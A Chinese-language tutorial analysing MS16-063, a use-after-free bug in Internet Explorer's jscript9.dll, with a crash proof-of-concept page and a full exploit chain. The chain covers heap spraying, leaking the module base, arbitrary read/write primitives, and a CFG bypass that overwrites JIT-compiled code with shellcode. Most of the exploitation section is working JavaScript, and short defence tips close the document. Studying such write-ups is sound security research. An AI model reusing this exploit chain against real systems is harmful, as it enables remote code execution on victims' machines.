MS16-063绕过CFG利用
字数 965 2025-08-20 18:18:05
MS16-063漏洞分析与利用教学文档
漏洞概述
MS16-063是Internet Explorer中jscript9.dll组件的一个Use-After-Free (UAF)漏洞。该漏洞存在于JScript引擎处理TypedArray和ArrayBuffer对象时的内存管理机制中,攻击者可以通过精心构造的网页利用此漏洞实现任意代码执行。
漏洞环境
- 测试系统: Windows 7 SP1 32位
- 浏览器版本: Internet Explorer 11.0.9600.18204
- 调试工具:
- GFlags (启用堆调试和堆分配回溯)
- Windbg
漏洞分析
POC分析
<html>
<body>
<script>
function pwn() {
var ab = new ArrayBuffer(1000 * 1024); // 分配ArrayBuffer
var ia = new Int8Array(ab); // 创建引用同一内存的TypedArray
detach(ab); // 释放ArrayBuffer
setTimeout(main, 50, ia); // 延迟执行写入操作
function detach(ab) {
postMessage("", "*", [ab]); // 通过postMessage释放ArrayBuffer
}
function main(ia) {
ia[100] = 0x41414141; // 触发UAF
}
}
pwn()
</script>
</body>
</html>
漏洞原理
-
TypedArray与ArrayBuffer关系:
- 创建TypedArray时会内部创建一个ArrayBuffer
- 如果提供ArrayBuffer作为构造参数,则直接使用该Buffer
- 这样可以得到同一内存块的两个引用
-
UAF产生原因:
postMessage调用会释放ArrayBuffer- 但TypedArray仍保留对已释放内存的引用
- 后续通过TypedArray写入时未检查内存是否有效
-
关键代码分析:
Js::TypedArray<char,0>::DirectSetItem函数中:- 检查索引范围(
this[7]) - 获取buffer地址(
this[8]) - 但未检查buffer是否已被释放
- 直接写入(
*(_BYTE *)(index + buffer) = v5)
- 检查索引范围(
漏洞利用
利用环境
- Windows 10 1511 x86
- IE 11.0.10586
利用步骤
-
堆喷准备:
var heapsrc = new ArrayBuffer(0x400 * 0x400 * 2 + 0x400 * 100); var heapbak = new Int8Array(heapsrc); -
堆喷占位:
var spray = new Array(0x20000); var slim = new ArrayBuffer(0x1456); function sprayHeap(spray){ for(var i = 0; i < spray.length; i++){ spray[i] = new Uint8Array(slim); } } sprayHeap(spray); -
搜索可控结构:
for(var i = 0; heapbak[i] != 0x56 || heapbak[i+1] != 0x14 || heapbak[i+2] != 0x00 || heapbak[i+3] != 0x00; i++){ if(heapbak[i] === undefined) { alert("search failed..."); return; } } -
定位并验证可控对象:
heapbak[i] += 1; //修改length为0x1457 lengthIndex = i; try { for(var i = 0; spray[i] != 0x1457; i++); } catch(e){ alert("But Failed..."); return; } mvslim = spray[i]; -
泄露关键地址:
// 获取buffer地址 var bufaddr = ub(heapbak[lengthIndex+4]) | ub(heapbak[lengthIndex+4+1]) << 8 | ub(heapbak[lengthIndex+4+2]) << 16 | ub(heapbak[lengthIndex+4+3]) << 24; // 获取vftable地址 var vtable = ub(heapbak[lengthIndex-0x1c]) | ub(heapbak[lengthIndex-0x1c+1]) << 8 | ub(heapbak[lengthIndex-0x1c+2]) << 16 | ub(heapbak[lengthIndex-0x1c+3]) << 24; // 计算jscript9.dll基地址 jscriptaddr = vtable - 0x1eeb4; -
构造读写原语:
// 任意地址写 function setBufferAddress(addr) { heapbak[lengthIndex+4] = addr & 0xff; heapbak[lengthIndex+4+1] = (addr >> 8) & 0xff; heapbak[lengthIndex+4+2] = (addr >> 16) & 0xff; heapbak[lengthIndex+4+3] = (addr >> 24) & 0xff; } // 任意地址读 function readAddressN(addr, n){ if(n != 4 && n != 8) return 0; setBufferAddress(addr); var ret = 0; for(var i = 0; i < n; i++) ret |= (mvslim[i] << (i*8)); return ret; } // 任意地址写 function writeAddressN(addr, val, n){ if(n != 4 && n != 8) return 0; setBufferAddress(addr); for(var i = 0; i < n; i++) mvslim[i] = (val >> (i*8)) & 0xff; }
绕过CFG保护
-
触发JIT编译:
var code = "var i= 100; var j = 1;"; for(var i = 0; i < 6500; i++) { code += "i *= i + j.toString();"; } code += "return i.toString();"; func = Function(code); for(var i = 0; i < 1000; i++) { func.call(); // 触发JIT } -
查找JIT代码缓冲区:
// 获取ThreadContext var threadctx = readAddressN(jscriptaddr + 0x34a074, 4); // 获取BackJobProcessor var bgjob = readAddressN(threadctx + 0x3b0, 4); // 获取PageAllocator var pgalloc = bgjob + 0x1c; // 查找LargeSegments列表 while(true){ var largeSeg = readAddressN(pgalloc + 0x24, 4); if(largeSeg == pgalloc + 0x24) continue; var page = readAddressN(largeSeg + 8 + 8, 4); if(page == 0) continue; break; } -
修改JIT代码:
var race = function(){ var largeSeg = readAddressN(pgalloc + 0x24, 4); if(largeSeg == pgalloc + 0x24) return false; var page = readAddressN(largeSeg + 8 + 8, 4); if(page == 0) return false; buf = page + 0x18; // 覆盖指令,避免覆盖重定位地址 setBufferAddress(buf); mvslim[0] = 0xeb; // jmp short mvslim[1] = 0x34; // 跳转偏移 setBufferAddress(buf + 0x36); mvslim.set(scbytes, 0); // 写入shellcode return true; } -
执行利用:
for(var i = 0; i < 1000; i++) { race(); } for(var i = 0; i < 1000; i++) { func.call(); // 触发JIT } while(!race()); // 等待直到覆盖JIT块 for(var i = 0; i < 1000; i++) { func.call(); // 调用被覆盖的代码块 }
防御措施
- 及时安装微软提供的安全补丁
- 启用增强的防护模式(Enhanced Protected Mode)
- 使用控制流保护(CFG)等缓解技术
- 限制或禁用Active Scripting